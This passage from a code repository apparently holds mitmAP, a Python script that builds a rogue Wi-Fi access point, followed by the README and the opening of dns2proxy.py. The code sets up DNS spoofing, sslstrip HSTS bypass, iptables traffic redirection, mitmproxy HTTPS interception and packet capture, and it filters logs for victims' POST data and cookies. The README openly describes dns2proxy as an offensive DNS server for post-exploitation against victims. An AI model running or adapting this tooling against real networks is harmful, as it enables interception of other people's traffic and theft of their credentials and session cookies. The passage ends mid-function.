ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\nwpa=2\nwpa_passphrase=" + wpa_passphrase + "\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=TKIP\nrsn_pairwise=CCMP" 107 | print("[I] Deleting old config file...") 108 | os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1") 109 | print("[I] Writing config file...") 110 | os.system("sudo echo -e '" + hostapd_file_wpa + "' > /etc/hostapd/hostapd.conf") 111 | else: 112 | hostapd_file = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0" 113 | print("[I] Deleting old config file...") 114 | os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1") 115 | print("[I] Writing config file...") 116 | os.system("sudo echo -e '" + hostapd_file + "' > /etc/hostapd/hostapd.conf") 117 | #/HOSTAPD CONFIG 118 | 119 | #IPTABLES 120 | print("[I] Configuring AP interface...") 121 | os.system("sudo ifconfig " + ap_iface + " up 10.0.0.1 netmask 255.255.255.0") 122 | print("[I] Applying iptables rules...") 123 | os.system("sudo iptables --flush") 124 | os.system("sudo iptables --table nat --flush") 125 | os.system("sudo iptables --delete-chain") 126 | os.system("sudo iptables --table nat --delete-chain") 127 | os.system("sudo iptables --table nat --append POSTROUTING --out-interface " + net_iface + " -j MASQUERADE") 128 | os.system("sudo iptables --append FORWARD --in-interface " + ap_iface + " -j ACCEPT") 129 | #/IPTABLES 130 | 131 | #SPEED LIMIT 132 | speed_if = input("[?] Set speed limit for the clients? Y/n: ") 133 | speed_if = speed_if.lower() 134 | if speed_if == "y" or speed_if == "": 135 | while True: 136 | speed_down = input("[?] Download speed limit (in KB/s): ") 137 | if speed_down.isdigit(): 138 | break 139 | else: 140 | print("[!] Please enter a number.") 141 | while True: 142 | speed_up = input("[?] Upload speed limit (in KB/s): ") 143 | if speed_up.isdigit(): 144 | break 145 | else: 146 | print("[!] Please enter a number.") 147 | print("[I] Setting speed limit on " + ap_iface + "...") 148 | os.system("sudo wondershaper " + ap_iface + " " + speed_up + " " + speed_down) 149 | else: 150 | print("[I] Skipping...") 151 | #/SPEED LIMIT 152 | 153 | #WIRESHARK & TSHARK QUESTION 154 | wireshark_if = input("[?] Start WIRESHARK on " + ap_iface + "? (ONLY WORKS WITH GUI) y/N: ") 155 | wireshark_if = wireshark_if.lower() 156 | tshark_if = "n" 157 | if wireshark_if != "y": 158 | tshark_if = input("[?] Capture packets to .pcap with TSHARK? (no gui needed) Y/n: ") 159 | tshark_if = tshark_if.lower() 160 | #/WIRESHARK & TSHARK QUESTION 161 | 162 | #SSLSTRIP MODE 163 | if sslstrip_if == "y" or sslstrip_if == "": 164 | 165 | #SSLSTRIP DNS SPOOFING 166 | ssl_dns_if = input("[?] Spoof DNS manually? y/N: ") 167 | ssl_dns_if = ssl_dns_if.lower() 168 | if ssl_dns_if == "y": 169 | while True: 170 | ssl_dns_num = input("[?] How many domains do you want to spoof?: ") 171 | if ssl_dns_num.isdigit(): 172 | break 173 | else: 174 | print("[!] Please enter a number.") 175 | print("[I] Backing up " + script_path + "src/dns2proxy/spoof.cfg...") 176 | os.system("sudo cp " + script_path + "src/dns2proxy/spoof.cfg " + script_path + "src/dns2proxy/spoof.cfg.backup") 177 | os.system("sudo cat /dev/null > "+ script_path + "src/dns2proxy/spoof.cfg") 178 | i = 0 179 | while int(ssl_dns_num) != i: 180 | ssl_dns_num_temp = i + 1 181 | ssl_dns_domain = input("[?] " + str(ssl_dns_num_temp) + ". domain to spoof: ") 182 | ssl_dns_ip = input("[?] Fake IP for domain '" + ssl_dns_domain + "': ") 183 | ssl_dns_line = ssl_dns_domain + " " + ssl_dns_ip + "\n" 184 | os.system("sudo echo -e '" + ssl_dns_line + "' >> "+ script_path + "src/dns2proxy/spoof.cfg") 185 | i = i + 1 186 | #/SSLSTRIP DNS SPOOFING 187 | 188 | print("[I] Starting DNSMASQ server...") 189 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1") 190 | os.system("sudo pkill dnsmasq") 191 | os.system("sudo dnsmasq") 192 | 193 | proxy_if = "n" 194 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000") 195 | os.system("sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 53") 196 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --dport 53 -j REDIRECT --to-port 53") 197 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1") 198 | 199 | 200 | print("[I] Starting AP on " + ap_iface + " in screen terminal...") 201 | os.system("sudo screen -S mitmap-sslstrip -m -d python " + script_path + "src/sslstrip2/sslstrip.py -l 9000 -w " + script_path + "logs/mitmap-sslstrip.log -a") 202 | os.system("sudo screen -S mitmap-dns2proxy -m -d sh -c 'cd " + script_path + "src/dns2proxy && python dns2proxy.py'") 203 | time.sleep(5) 204 | os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf") 205 | if wireshark_if == "y": 206 | print("[I] Starting WIRESHARK...") 207 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap") 208 | if driftnet_if == "y": 209 | print("[I] Starting DRIFTNET...") 210 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface) 211 | if tshark_if == "y" or tshark_if == "": 212 | print("[I] Starting TSHARK...") 213 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap") 214 | print("\nTAIL started on " + script_path + "logs/mitmap-sslstrip.log...\nWait for output... (press 'CTRL + C' 2 times to stop)\nHOST-s, POST requests and COOKIES will be shown.\n") 215 | try: 216 | time.sleep(5) 217 | except: 218 | print("") 219 | while True: 220 | try: 221 | print("[I] Restarting tail in 1 sec... (press 'CTRL + C' again to stop)") 222 | time.sleep(1) 223 | os.system("sudo tail -f " + script_path + "logs/mitmap-sslstrip.log | grep -e 'Sending Request: POST' -e 'New host:' -e 'Sending header: cookie' -e 'POST Data'") 224 | except KeyboardInterrupt: 225 | break 226 | #STARTING POINT 227 | #SSLSTRIP MODE 228 | 229 | 230 | else: 231 | #DNSMASQ DNS SPOOFING 232 | dns_if = input("[?] Spoof DNS? Y/n: ") 233 | dns_if = dns_if.lower() 234 | if dns_if == "y" or dns_if == "": 235 | while True: 236 | dns_num = input("[?] How many domains do you want to spoof?: ") 237 | if dns_num.isdigit(): 238 | break 239 | else: 240 | print("[!] Please enter a number.") 241 | print("[I] Backing up /etc/dnsmasq.conf...") 242 | os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup") 243 | i = 0 244 | while int(dns_num) != i: 245 | dns_num_temp = i + 1 246 | dns_domain = input("[?] " + str(dns_num_temp) + ". domain to spoof: ") 247 | dns_ip = input("[?] Fake IP for domain '" + dns_domain + "': ") 248 | dns_line = "address=/" + dns_domain + "/" + dns_ip 249 | os.system("sudo echo -e '" + dns_line + "' >> /etc/dnsmasq.conf") 250 | i = i + 1 251 | else: 252 | print("[I] Skipping..") 253 | #/DNSMASQ DNS SPOOFING 254 | 255 | print("[I] Starting DNSMASQ server...") 256 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1") 257 | os.system("sudo pkill dnsmasq") 258 | os.system("sudo dnsmasq") 259 | 260 | #MITMPROXY MODE 261 | proxy_if = input("[?] Capture traffic? Y/n: ") 262 | proxy_if = proxy_if.lower() 263 | if proxy_if == "y" or proxy_if == "": 264 | proxy_config = input("[?] Capture HTTPS traffic too? (Need to install certificate on device) y/N: ") 265 | proxy_config = proxy_config.lower() 266 | if proxy_config == "n" or proxy_config == "": 267 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") 268 | else: 269 | print("[I] To install the certificate, go to 'http://mitm.it/' through the proxy, and choose your OS.") 270 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") 271 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") 272 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1") 273 | print("[I] Starting AP on " + ap_iface + " in screen terminal...") 274 | if wireshark_if == "y": 275 | print("[I] Starting WIRESHARK...") 276 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap") 277 | if driftnet_if == "y": 278 | print("[I] Starting DRIFTNET...") 279 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface) 280 | if tshark_if == "y" or tshark_if == "": 281 | print("[I] Starting TSHARK...") 282 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap") 283 | os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf") 284 | print("\nStarting MITMPROXY in 5 seconds... (press q and y to exit)\n") 285 | try: 286 | time.sleep(5) 287 | except: 288 | print("") 289 | os.system("sudo mitmproxy -T --host --follow -w " + script_path + "logs/mitmap-proxy.mitmproxy") 290 | #STARTING POINT 291 | else: 292 | print("[I] Skipping...") 293 | #/MITMPROXY MODE 294 | 295 | if wireshark_if == "y": 296 | print("[I] Starting WIRESHARK...") 297 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap") 298 | if driftnet_if == "y": 299 | print("[I] Starting DRIFTNET...") 300 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface) 301 | if tshark_if == "y" or tshark_if == "": 302 | print("[I] Starting TSHARK...") 303 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap") 304 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1") 305 | print("[I] Starting AP on " + ap_iface + "...\n") 306 | os.system("sudo hostapd /etc/hostapd/hostapd.conf") 307 | #STARTING POINT 308 | 309 | #STOPPING 310 | print("") 311 | print("[!] Stopping...") 312 | if proxy_if == "y" or proxy_if == "" or sslstrip_if == "y" or sslstrip_if == "": 313 | os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'") 314 | if sslstrip_if == "y" or sslstrip_if == "": 315 | os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'") 316 | os.system("sudo screen -S mitmap-dns2proxy -X stuff '^C\n'") 317 | if ssl_dns_if == "y": 318 | print("[I] Restoring old " + script_path + "src/dns2proxy/spoof.cfg...") 319 | os.system("sudo mv " + script_path + "src/dns2proxy/spoof.cfg.backup " + script_path + "src/dns2proxy/spoof.cfg") 320 | if wireshark_if == "y": 321 | os.system("sudo screen -S mitmap-wireshark -X stuff '^C\n'") 322 | if driftnet_if == "y": 323 | os.system("sudo screen -S mitmap-driftnet -X stuff '^C\n'") 324 | if tshark_if == "y" or tshark_if == "": 325 | os.system("sudo screen -S mitmap-tshark -X stuff '^C\n'") 326 | # print("[I] Restoring old NetworkManager.cfg") 327 | # os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf") 328 | # print("[I] Restarting NetworkManager...") 329 | # os.system("sudo service network-manager restart") 330 | print("[I] Stopping DNSMASQ server...") 331 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1") 332 | os.system("sudo pkill dnsmasq") 333 | print("[I] Restoring old dnsmasq.cfg...") 334 | os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1") 335 | print("[I] Deleting old '/etc/dnsmasq.hosts' file...") 336 | os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1") 337 | print("[I] Removeing speed limit from " + ap_iface + "...") 338 | os.system("sudo wondershaper clear " + ap_iface + " > /dev/null 2>&1") 339 | print("[I] Flushing iptables rules...") 340 | os.system("sudo iptables --flush") 341 | os.system("sudo iptables --flush -t nat") 342 | os.system("sudo iptables --delete-chain") 343 | os.system("sudo iptables --table nat --delete-chain") 344 | print("[I] Traffic have been saved to the 'log' folder!") 345 | print("\n[!] WARNING: If you want to use the AP interface normally, please reboot the PI!\n") 346 | print("[I] mitmAP stopped.") 347 | except KeyboardInterrupt: 348 | print("") 349 | print("[!] Stopping... (Dont worry if you get errors)") 350 | try: 351 | if proxy_if == "y" or proxy_if == "" or sslstrip_if == "y" or sslstrip_if == "": 352 | os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'") 353 | if sslstrip_if == "y" or sslstrip_if == "": 354 | os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'") 355 | os.system("sudo screen -S mitmap-dns2proxy -X stuff '^C\n'") 356 | if ssl_dns_if == "y": 357 | print("[I] Restoring old " + script_path + "src/dns2proxy/spoof.cfg...") 358 | os.system("sudo mv " + script_path + "src/dns2proxy/spoof.cfg.backup " + script_path + "src/dns2proxy/spoof.cfg") 359 | except: 360 | pass 361 | try: 362 | if wireshark_if == "y": 363 | os.system("sudo screen -S mitmap-wireshark -X stuff '^C\n'") 364 | except: 365 | pass 366 | try: 367 | if driftnet_if == "y": 368 | os.system("sudo screen -S mitmap-driftnet -X stuff '^C\n'") 369 | except: 370 | pass 371 | try: 372 | if tshark_if == "y" or tshark_if == "": 373 | os.system("sudo screen -S mitmap-tshark -X stuff '^C\n'") 374 | except: 375 | pass 376 | # print("[I] Restoring old NetworkManager.cfg") 377 | # os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf") 378 | # print("[I] Restarting NetworkManager...") 379 | # os.system("sudo service network-manager restart") 380 | print("[I] Stopping DNSMASQ server...") 381 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1") 382 | os.system("sudo pkill dnsmasq") 383 | print("[I] Restoring old dnsmasq.cfg...") 384 | os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1") 385 | print("[I] Deleting old '/etc/dnsmasq.hosts' file...") 386 | os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1") 387 | try: 388 | print("[I] Removeing speed limit from " + ap_iface + "...") 389 | os.system("sudo wondershaper clear " + ap_iface + " > /dev/null 2>&1") 390 | except: 391 | pass 392 | print("[I] Flushing iptables rules...") 393 | os.system("sudo iptables --flush") 394 | os.system("sudo iptables --flush -t nat") 395 | os.system("sudo iptables --delete-chain") 396 | os.system("sudo iptables --table nat --delete-chain") 397 | print("[I] Traffic have been saved to the 'log' folder!") 398 | print("\n[!] WARNING: If you want to use the AP interface normally, please reboot the PI!\n") 399 | print("[I] mitmAP stopped.") 400 | -------------------------------------------------------------------------------- /src/dns2proxy/README.md: -------------------------------------------------------------------------------- 1 | THIS IS JUST A COPY THE OFFICAL DNS2PROXY REPOSITORY 2 | ======== 3 | 4 | dns2proxy 5 | ========= 6 | 7 | Offensive DNS server 8 | 9 | This tools offer a different features for post-explotation once you change the DNS server to a Victim. 10 | 11 | 12 | Feature 1 13 | --------- 14 | 15 | Traditional DNS Spoof adding to the response the original IP address. 16 | 17 | Using spoof.cfg file: 18 | 19 | hostname ip.ip.ip.ip 20 | 21 | >root@kali:~/dns2proxy# echo "www.s21sec.com 1.1.1.1" > spoof.cfg 22 | > 23 | >// launch in another terminal dns2proxy.py 24 | > 25 | >root@kali:~/dns2proxy# nslookup www.s21sec.com 127.0.0.1 26 | >Server: 127.0.0.1 27 | >Address: 127.0.0.1#53 28 | > 29 | >Name: www.s21sec.com 30 | >Address: 1.1.1.1 31 | >Name: www.s21sec.com 32 | >Address: 88.84.64.30 33 | 34 | 35 | or you can use domains.cfg file to spoof all host of a same domain: 36 | 37 | >root@kali:~/demoBH/dns2proxy# cat dominios.cfg 38 | >.domain.com 192.168.1.1 39 | > 40 | >root@kali:~/demoBH/dns2proxy# nslookup aaaa.domain.com 127.0.0.1 41 | >Server: 127.0.0.1 42 | >Address: 127.0.0.1#53 43 | > 44 | >Name: aaaa.domain.com 45 | >Address: 192.168.1.1 46 | 47 | Hostnames at nospoof.cfg will no be spoofed. 48 | 49 | Feature 2 50 | --------- 51 | 52 | This feature implements the attack of DNS spoofing adding 2 IP address at the top of the resolution and configuring the system to forward the connections. 53 | Check my slides at BlackHat Asia 2014 [OFFENSIVE: EXPLOITING DNS SERVERS CHANGES] (http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and the [Demo Video] (http://www.youtube.com/watch?v=cJtbxX1HS5I). 54 | 55 | To launch this attach there is a shellscript that automatically configure the system using IP tables. You must edit this file to adapt it to your system. DON´T FORGET AdminIP variable!!!! 56 | Both IPs must be at the same system to let dns2proxy.py configurate the forwarding 57 | 58 | Usage: ia.sh < interface > [ip1] [ip2] 59 | 60 | 61 | >root@kali:~/dns2proxy# ./ia.sh eth0 172.16.48.128 172.16.48.230 62 | >Non spoofing imap.gmail.com 63 | >Non spoofing mail.s21sec.com 64 | >Non spoofing www.google.com 65 | >Non spoofing www.apple.com 66 | >Non spoofing ccgenerals.ms19.gamespy.com 67 | >Non spoofing master.gamespy.com 68 | >Non spoofing gpcm.gamespy.com 69 | >Non spoofing launch.gamespyarcade.com 70 | >Non spoofing peerchat.gamespy.com 71 | >Non spoofing gamestats.gamespy.com 72 | >Specific host spoofing www.s21sec.com with 1.1.1.1 73 | >Specific domain IP .domain.com with 192.168.1.1 74 | >binded to UDP port 53. 75 | >waiting requests. 76 | >Starting sniffing in (eth0 = 172.16.48.128).... 77 | > 78 | >< at other terminal > 79 | > 80 | >root@kali:~/dns2proxy# nslookup www.microsoft.com 127.0.0.1 81 | >Server: 127.0.0.1 82 | >Address: 127.0.0.1#53 83 | > 84 | >Name: www.microsoft.com 85 | >Address: 172.16.48.128 86 | >Name: www.microsoft.com 87 | >Address: 172.16.48.230 88 | >Name: www.microsoft.com 89 | >Address: 65.55.57.27 90 | 91 | 92 | The fhtang.sh script will terminate the program and restore normal iptables. 93 | 94 | Hostnames at nospoof.cfg will no be spoofed. 95 | 96 | 97 | Feature 3 98 | --------- 99 | 100 | Automatically the dns server detects and correct the changes thats my sslstrip+ do to the hostnames to avoid HSTS, so will response properly. 101 | 102 | This server is necesary to make the sslstrip+ attack. 103 | 104 | >root@kali:~/dns2proxy# nslookup webaccounts.google.com 127.0.0.1 <-- DNS response like accounts.google.com 105 | >Server: 127.0.0.1 106 | >Address: 127.0.0.1#53 107 | > 108 | >Name: webaccounts.google.com 109 | >Address: 172.16.48.128 110 | >Name: webaccounts.google.com 111 | >Address: 172.16.48.230 112 | >Name: webaccounts.google.com 113 | >Address: 74.125.200.84 114 | > 115 | >root@kali:~/dns2proxy# nslookup wwww.yahoo.com 127.0.0.1 <-- Take care of the 4 w! DNS response like 116 | >Server: 127.0.0.1 www.yahoo.com 117 | >Address: 127.0.0.1#53 118 | > 119 | >Name: wwww.yahoo.com 120 | >Address: 172.16.48.128 121 | >Name: wwww.yahoo.com 122 | >Address: 172.16.48.230 123 | >Name: wwww.yahoo.com 124 | >Address: 68.142.243.179 125 | >Name: wwww.yahoo.com 126 | >Address: 68.180.206.184 127 | 128 | 129 | Instalation 130 | ----------- 131 | 132 | dnspython (www.dnspython.com) is needed. 133 | Tested with Python 2.6 and Python 2.7. 134 | 135 | 136 | Config files description 137 | ------------------------ 138 | 139 | domains.cfg (or dominios.cfg): resolve all hosts for the listed domains with the listed IP 140 | >Ex: 141 | >.facebook.com 1.2.3.4 142 | >.fbi.gov 1.2.3.4 143 | 144 | spoof.cfg : Spoof a host with a ip 145 | >Ex: 146 | >www.nsa.gov 127.0.0.1 147 | 148 | nospoof.cfg: Send always a legit response when asking for these hosts. 149 | >Ex. 150 | >mail.google.com 151 | 152 | nospoofto.cfg: Don't send fake responses to the IPs listed there. 153 | >Ex: 154 | >127.0.0.1 155 | >4.5.6.8 156 | 157 | victims.cfg: If not empty, only send fake responses to these IP addresses. 158 | >Ex: 159 | >23.66.163.36 160 | >195.12.226.131 161 | 162 | resolv.conf: DNS server to forward the queries. 163 | >Ex: 164 | >nameserver 8.8.8.8 165 | 166 | -------------------------------------------------------------------------------- /src/dns2proxy/dns2proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.6 2 | ''' 3 | dns2proxy for offensive cybersecurity v1.0 4 | 5 | 6 | python dns2proxy.py -h for Usage. 7 | 8 | Example: 9 | python2.6 dns2proxy.py -i eth0 -u 192.168.1.101 -d 192.168.1.200 10 | 11 | Example for no forwarding (only configured domain based queries and spoofed hosts): 12 | python2.6 dns2proxy.py -i eth0 -noforward 13 | 14 | Example for no forwarding but add IPs 15 | python dns2proxy.py -i eth0 -I 192.168.1.101,90.1.1.1,155.54.1.1 -noforward 16 | 17 | Author: Leonardo Nve ( leonardo.nve@gmail.com) 18 | ''' 19 | 20 | 21 | import dns.message 22 | import dns.rrset 23 | import dns.resolver 24 | import socket 25 | import numbers 26 | import threading 27 | from struct import * 28 | import datetime 29 | import pcapy 30 | import os 31 | import signal 32 | import errno 33 | from time import sleep 34 | import argparse 35 | 36 | 37 | consultas = {} 38 | spoof = {} 39 | dominios = {} 40 | nospoof = [] 41 | nospoofto = [] 42 | victims = [] 43 | 44 | LOGREQFILE = "dnslog.txt" 45 | LOGSNIFFFILE = "snifflog.txt" 46 | LOGALERTFILE = "dnsalert.txt" 47 | RESOLVCONF = "resolv.conf" 48 | 49 | victim_file = "victims.cfg" 50 | nospoof_file = "nospoof.cfg" 51 | nospoofto_file = "nospoofto.cfg" 52 | specific_file = "spoof.cfg" 53 | dominios_file = "domains.cfg" 54 | 55 | parser = argparse.ArgumentParser() 56 | parser.add_argument("-N", "--noforward", help="DNS Fowarding OFF (default ON)", action="store_true") 57 | parser.add_argument("-i", "--interface", help="Interface to use", default="eth0") 58 | parser.add_argument("-u", "--ip1", help="First IP to add at the response", default=None) 59 | parser.add_argument("-d", "--ip2", help="Second IP to add at the response", default=None) 60 | parser.add_argument("-I", "--ips", help="List of IPs to add after ip1,ip2 separated with commas", default=None) 61 | parser.add_argument("-S", "--silent", help="Silent mode", action="store_true") 62 | parser.add_argument("-A", "--adminIP", help="Administrator IP for no filtering", default="192.168.0.1") 63 | 64 | args = parser.parse_args() 65 | 66 | debug = not args.silent 67 | dev = args.interface 68 | adminip = args.adminIP 69 | ip1 = args.ip1 70 | ip2 = args.ip2 71 | Forward = not args.noforward 72 | 73 | fake_ips = [] 74 | # List of of ips 75 | if args.ips is not None: 76 | for ip in args.ips.split(","): 77 | fake_ips.append(ip) 78 | 79 | Resolver = dns.resolver.Resolver() 80 | 81 | ###################### 82 | # GENERAL SECTION # 83 | ###################### 84 | 85 | 86 | def save_req(lfile, str): 87 | f = open(lfile, "a") 88 | f.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") + ' ' + str) 89 | f.close() 90 | 91 | 92 | def SIGUSR1_handle(signalnum, frame): 93 | global noserv 94 | global Resolver 95 | noserv = 0 96 | DEBUGLOG('Reconfiguring....') 97 | process_files() 98 | Resolver.reset() 99 | Resolver.read_resolv_conf(RESOLVCONF) 100 | return 101 | 102 | 103 | def process_files(): 104 | global nospoof 105 | global spoof 106 | global nospoof_file 107 | global specific_file 108 | global dominios_file 109 | global dominios 110 | global nospoofto_file 111 | 112 | for i in nospoof[:]: 113 | nospoof.remove(i) 114 | 115 | for i in nospoofto[:]: 116 | nospoofto.remove(i) 117 | 118 | for i in victims[:]: 119 | victims.remove(i) 120 | 121 | dominios.clear() 122 | spoof.clear() 123 | 124 | nsfile = open(nospoof_file, 'r') 125 | for line in nsfile: 126 | if line[0] == '#': 127 | continue 128 | h = line.split() 129 | if len(h) > 0: 130 | DEBUGLOG('Non spoofing ' + h[0]) 131 | nospoof.append(h[0]) 132 | 133 | nsfile.close() 134 | 135 | nsfile = open(victim_file, 'r') 136 | for line in nsfile: 137 | if line[0] == '#': 138 | continue 139 | h = line.split() 140 | if len(h) > 0: 141 | DEBUGLOG('Spoofing only to ' + h[0]) 142 | victims.append(h[0]) 143 | 144 | nsfile.close() 145 | 146 | nsfile = open(nospoofto_file, 'r') 147 | for line in nsfile: 148 | if line[0] == '#': 149 | continue 150 | h = line.split() 151 | if len(h) > 0: 152 | DEBUGLOG('Non spoofing to ' + h[0]) 153 | nospoofto.append(h[0]) 154 | 155 | nsfile.close() 156 | 157 | nsfile = open(specific_file, 'r') 158 | for line in nsfile: 159 | if line[0] == '#': 160 | continue 161 | h = line.split() 162 | if len(h) > 1: 163 | DEBUGLOG('Specific host spoofing ' + h[0] + ' with ' + h[1]) 164 | spoof[h[0]] = h[1] 165 | 166 | nsfile.close() 167 | nsfile = open(dominios_file, 'r') 168 | for line in nsfile: 169 | if line[0] == '#': 170 | continue 171 | h = line.split() 172 | if len(h) > 1: 173 | DEBUGLOG('Specific domain IP ' + h[0] + ' with ' + h[1]) 174 | dominios[h[0]] = h[1] 175 | 176 | nsfile.close() 177 | return 178 | 179 | 180 | def DEBUGLOG(str): 181 | global debug 182 | if debug: 183 | print str 184 | return 185 | 186 | 187 | def handler_msg(id): 188 | os.popen('./handler_msg.sh %s >> handler_msg.log 2>> handler_msg_error.log &'%id.replace('`','_').replace(';','_').replace('|','_').replace('&','_')) 189 | return 190 | 191 | ###################### 192 | # SNIFFER SECTION # 193 | ###################### 194 | 195 | class ThreadSniffer(threading.Thread): 196 | def __init__(self): 197 | threading.Thread.__init__(self) 198 | 199 | def run(self): 200 | #DEBUGLOG( self.getName(), " Sniffer Waiting connections....") 201 | go() 202 | 203 | def go(): 204 | global ip1 205 | global dev 206 | bpffilter = "dst host %s and not src host %s and !(tcp dst port 80 or tcp dst port 443) and (not host %s)" % ( 207 | ip1, ip1, adminip) 208 | cap = pcapy.open_live(dev, 255, 1, 0) 209 | cap.setfilter(bpffilter) 210 | DEBUGLOG( "Starting sniffing in (%s = %s)...." % (dev, ip1)) 211 | 212 | #start sniffing packets 213 | while True: 214 | try: 215 | (header, packet) = cap.next() 216 | parse_packet(packet) 217 | except: 218 | pass 219 | #DEBUGLOG( ('%s: captured %d bytes, truncated to %d bytes' %(datetime.datetime.now(), header.getlen(), header.getcaplen()))) 220 | 221 | #function to parse a packet 222 | def parse_packet(packet): 223 | eth_length = 14 224 | eth_protocol = 8 225 | global ip1 226 | global consultas 227 | global ip2 228 | 229 | #Parse IP packets, IP Protocol number = 8 230 | if eth_protocol == 8: 231 | #Parse IP header 232 | #take first 20 characters for the ip header 233 | ip_header = packet[eth_length:20 + eth_length] 234 | 235 | #now unpack them :) 236 | iph = unpack('!BBHHHBBH4s4s', ip_header) 237 | 238 | version_ihl = iph[0] 239 | #version = version_ihl >> 4 240 | ihl = version_ihl & 0xF 241 | 242 | iph_length = ihl * 4 243 | 244 | #ttl = iph[5] 245 | protocol = iph[6] 246 | s_addr = socket.inet_ntoa(iph[8]) 247 | d_addr = socket.inet_ntoa(iph[9]) 248 | 249 | 250 | 251 | #TCP protocol 252 | if protocol == 6: 253 | t = iph_length + eth_length 254 | tcp_header = packet[t:t + 20] 255 | 256 | #now unpack them :) 257 | tcph = unpack('!HHLLBBHHH', tcp_header) 258 | 259 | source_port = tcph[0] 260 | dest_port = tcph[1] 261 | # sequence = tcph[2] 262 | # acknowledgement = tcph[3] 263 | # doff_reserved = tcph[4] 264 | # tcph_length = doff_reserved >> 4 265 | 266 | 267 | 268 | if consultas.has_key(str(s_addr)): 269 | DEBUGLOG(' ==> Source Address : ' + str(s_addr) + ' * Destination Address : ' + str(d_addr)) 270 | DEBUGLOG(' Source Port : ' + str(source_port) + ' * Dest Port : ' + str(dest_port)) 271 | # print '>>>> '+str(s_addr)+' esta en la lista!!!!.....' 272 | comando = 'sh ./IPBouncer.sh %s %s %s %s' % ( 273 | ip2, str(dest_port), consultas[str(s_addr)], str(dest_port)) 274 | os.system(comando.replace(';','_').replace('|','_').replace('&','_').replace('`','_')) 275 | #print '>>>> ' + comando 276 | comando = '/sbin/iptables -D INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % ( 277 | ip1, str(dest_port), str(s_addr), str(source_port)) 278 | os.system(comando.replace(';','_').replace('|','_').replace('&','_').replace('`','_')) 279 | comando = '/sbin/iptables -A INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % ( 280 | ip1, str(dest_port), str(s_addr), str(source_port)) 281 | os.system(comando.replace(';','_').replace('|','_').replace('&','_').replace('`','_')) 282 | #print '>>>> ' + comando 283 | 284 | #UDP packets 285 | elif protocol == 17: 286 | u = iph_length + eth_length 287 | #udph_length = 8 288 | #udp_header = packet[u:u + 8] 289 | #now unpack them :) 290 | #udph = unpack('!HHHH', udp_header) 291 | #source_port = udph[0] 292 | #dest_port = udph[1] 293 | #length = udph[2] 294 | #checksum = udph[3] 295 | #DEBUGLOG('Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str(length) + ' Checksum : ' + str(checksum)) 296 | #h_size = eth_length + iph_length + udph_length 297 | #data_size = len(packet) - h_size 298 | #get data from the packet 299 | #data = packet[h_size:] 300 | 301 | 302 | ###################### 303 | # DNS SECTION # 304 | ###################### 305 | 306 | def respuestas(name, type): 307 | global Resolver 308 | 309 | DEBUGLOG('Query = ' + name + ' ' + type) 310 | try: 311 | answers = Resolver.query(name, type) 312 | except Exception, e: 313 | 